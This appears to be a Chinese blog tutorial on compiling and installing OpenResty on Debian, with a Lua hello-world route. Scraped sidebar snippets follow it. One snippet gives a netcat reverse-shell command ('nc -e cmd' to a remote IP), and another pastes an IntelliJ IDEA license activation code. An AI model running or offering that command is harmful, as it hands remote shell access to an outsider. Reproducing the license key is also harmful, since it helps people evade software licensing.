前言

OpenResty是一个基于Nginx和Lua的高性能Web平台,其内部集成了大量精良的Lua库、第三方模块以及大多数的依赖项。用于方便地搭建能够处理超高并发、扩展性极高的动态 Web 应用、Web 服务和动态网关。

版本信息

系统和应用 版本
Debian 11-amd64位
OpenResty 1.21.4.1

步骤

  1. 下载源码包并解压
wget https://openresty.org/download/openresty-1.21.4.1.tar.gz
tar xf openresty-1.21.4.1.tar.gz
  1. 编译
# apt安装依赖
apt install -y libpcre3-dev openssl libssl-dev libxml2-dev libgd-dev libxml2 libgeoip-dev libxslt-dev cd openresty-1.21.4.1
# 以下预编译参数和Nginx的编译参数基本一致
./configure --prefix=/home/apps/openresty \
--with-threads \
--with-file-aio \
--with-http_ssl_module \
--with-http_v2_module \
--with-http_realip_module \
--with-http_addition_module \
--with-http_xslt_module=dynamic \
--with-http_image_filter_module=dynamic \
--with-http_geoip_module=dynamic \
--with-http_sub_module \
--with-http_dav_module \
--with-http_flv_module \
--with-http_mp4_module \
--with-http_gunzip_module \
--with-http_gzip_static_module \
--with-http_auth_request_module \
--with-http_random_index_module \
--with-http_secure_link_module \
--with-http_degradation_module \
--with-http_slice_module \
--with-http_stub_status_module \
--with-stream_ssl_module \
--with-stream_realip_module \
--with-stream_geoip_module=dynamic \
--with-stream_ssl_preread_module \
--with-compat \
--with-pcre-jit gmake
gmake install
  1. 启动OpenResty
/home/aps/openresty/bin/openresty
  1. 浏览器访问80端口测试
  2. (可选)验证无误后,将openresty的bin目录添加到系统环境变量PATH中

helloworld

  1. 编辑 /home/apps/openresty/nginx/conf/nginx.conf, 找到监听80端口的server,增加以下路由
location = /test {
default_type 'text/plain';
content_by_lua_block {
ngx.say('Hello World')
}
}
  1. 热加载生效
openresty -s reload
  1. 测试
curl http://127.0.0.1/test

ngx.say 将数据作为响应体输出,返回给客户端,并在末尾加上一个回车符。

content_by_lua_block 的主要作用是在HTTP的内容处理阶段生成数据

参考

[nginx]编译安装openresty的更多相关文章

  1. Nginx编译安装lua-nginx-module

    lua-nginx-module 模块可以将Lua的强大功能嵌入NGINX服务器. 下载Nginx源码 如果已安装Nginx,需要查看当前安装版本的编译参数: $ /usr/local/nginx/s ...

  2. nginx编译安装支持lua脚本

    一.准备编译环境 1.操作系统:CentOS7.6 2.安装编译所需安装包 yum install gcc pcre pcre-devel zlib zlib-devel openssl openss ...

  3. nginx编译安装

    Nginx编译安装 1.nginx官网:http://wiki.nginx.org/Install下载:http://nginx.org/en/download.html 2.编译安装# wget h ...

  4. LNMP平台搭建之一:nginx编译安装

    参考博客:https://www.cnblogs.com/zhang-shijie/p/5294162.html   jack.zhang 一.环境说明 系统环境:centos6.5 [root@lo ...

  5. Nginx编译安装:

    第三方模块 在nginx.org   --------  wiki  找 --add-module=   添加 Nginx编译安装: 安装开发环境 ]# yum groupinstall " ...

  6. [nginx]编译安装及安全优化

    nginx配置-最后整理版 nginx_upstream_check_module nginx-module-vts nginx打补丁 nginx编译安装 - 下载 cd /usr/local/src ...

  7. Linux下nginx编译安装教程和编译参数详解

    这篇文章主要介绍了Linux下nginx编译安装教程和编译参数详解,需要的朋友可以参考下 一.必要软件准备1.安装pcre 为了支持rewrite功能,我们需要安装pcre 复制代码代码如下: # y ...

  8. 20190418 CentOS7实用技能综合:系统安装 + WinScp客户端连接 + 防火墙端口号iptables + Nginx编译安装 + MySQL编译安装 + Redis编译安装 + MongoDB编译安装 + ActiveMQ/RocketMQ/RabbitMQ编译安装 + ...各类常用生产环境软件的编译安装

    系统安装 + WinScp客户端连接 + 防火墙端口号iptables + Nginx编译安装 + MySQL编译安装 + Redis编译安装 + MongoDB编译安装 + ActiveMQ/Roc ...

  9. Nginx编译安装第三方模块http_substitutions_filter_module2222

    Nginx编译安装第三方模块http_substitutions_filter_module Rming -- 阅读 安装 Http 编译 module filter nginx 模块 >> ...

  10. Nginx编译安装第三方模块http_substitutions_filter_module

    Nginx编译安装第三方模块http_substitutions_filter_module 分类:服务器技术  作者:rming  时间:-- . >>ngx_http_substitu ...

随机推荐

  1. C# POST提交以及 解析 JSON 实例

    一.解析的JSON字符串如下 {"tinyurl":"http:\/\/dwz.cn\/v9BxE","status":0,"lo ...

  2. 2022-12-14:给定一个正数n, 表示从0位置到n-1位置每个位置放着1件衣服 从0位置到n-1位置不仅有衣服,每个位置还摆着1个机器人 给定两个长度为n的数组,powers和rates pow

    2022-12-14:给定一个正数n, 表示从0位置到n-1位置每个位置放着1件衣服 从0位置到n-1位置不仅有衣服,每个位置还摆着1个机器人 给定两个长度为n的数组,powers和rates pow ...

  3. 2020-11-20:java中,听说过CMS的并发预处理和并发可中断预处理吗?

    福哥答案2020-11-20:[答案来自此链接:](http://bbs.xiangxueketang.cn/question/391)1.首先,CMS是一个关注停顿时间,以回收停顿时间最短为目标的垃 ...

  4. 2021-02-04:第一年农场有1只成熟的母牛A,往后的每年:①每一只成熟的母牛都会生一只母牛 ②每一只新出生的母牛都在出生的第三年成熟 ③每一只母牛永远不会死 。请问N年后牛的数量是多少 ?

    2021-02-04:第一年农场有1只成熟的母牛A,往后的每年:①每一只成熟的母牛都会生一只母牛 ②每一只新出生的母牛都在出生的第三年成熟 ③每一只母牛永远不会死 .请问N年后牛的数量是多少 ?福哥答 ...

  5. Django 14天从小白到进阶- Day1 Django 初识

    来自作者:金角大王 本节内容 Http原理介绍 自行开发一个Web框架 WSGI介绍 Django介绍 MVC/MTV Django安装 创建项目与APP 开发第一个页面 为什么学Django? Go ...

  6. “中国法研杯”司法人工智能挑战赛:基于UTC的多标签/层次分类小样本文本应用,Macro F1提升13%+

    "中国法研杯"司法人工智能挑战赛:基于UTC的多标签/层次分类小样本文本应用,Macro F1提升13%+ 相关文章推荐: 本项目主要完成基于UTC的多标签应用,更多部署细节请参考 ...

  7. idea过期解决

    用作用作发现过期了,苦恼,好办直接 搞个code 就行 MNQ043JMTU-eyJsaWNlbnNlSWQiOiJNTlEwNDNKTVRVIiwibGljZW5zZWVOYW1lIjoiR1VPI ...

  8. openlayers获取绘制多边形的顶点坐标

    虽使用Interaction无数次,进行图形绘制与用户交互等,但当需要获取绘制图形的顶点坐标时还是不晓得咋弄? 都知道在绘制完成后回调中能获取到当前的event对象draw.on('drawend', ...

  9. 执行pod setup 报错error: RPC failed; curl 18 transfer closed with outstanding read data remainin

    执行pod setup 报错 error: RPC failed; curl 18 transfer closed with outstanding read data remaining fatal ...

  10. nc工具利用

    c: 瑞士军刀/网络测评工具    将本地的cmd 权限移交到外网 nc工具:应用    本地cmd打开, 输入  nc -e cmd 远程ip  5577  #连接到远程ip的5577 远程cmd打 ...